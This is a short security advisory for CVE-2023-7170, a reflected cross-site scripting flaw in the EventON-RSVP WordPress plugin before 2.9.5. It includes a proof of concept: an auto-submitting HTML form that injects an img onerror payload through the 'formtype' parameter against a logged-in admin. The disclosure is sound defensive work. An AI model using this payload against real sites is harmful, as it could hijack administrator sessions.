EventON-RSVP < 2.9.5 – Reflected XSS | CVE 2023-7170

Description

The plugin does not sanitise and escape some parameters before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open a page containing the code below

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="evors_get_rsvp_form" />
      <input type="hidden" name="e_id" value="1" />
      <input type="hidden" name="formtype" value="update'><img src onerror=alert(`XSS`)>"/>
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>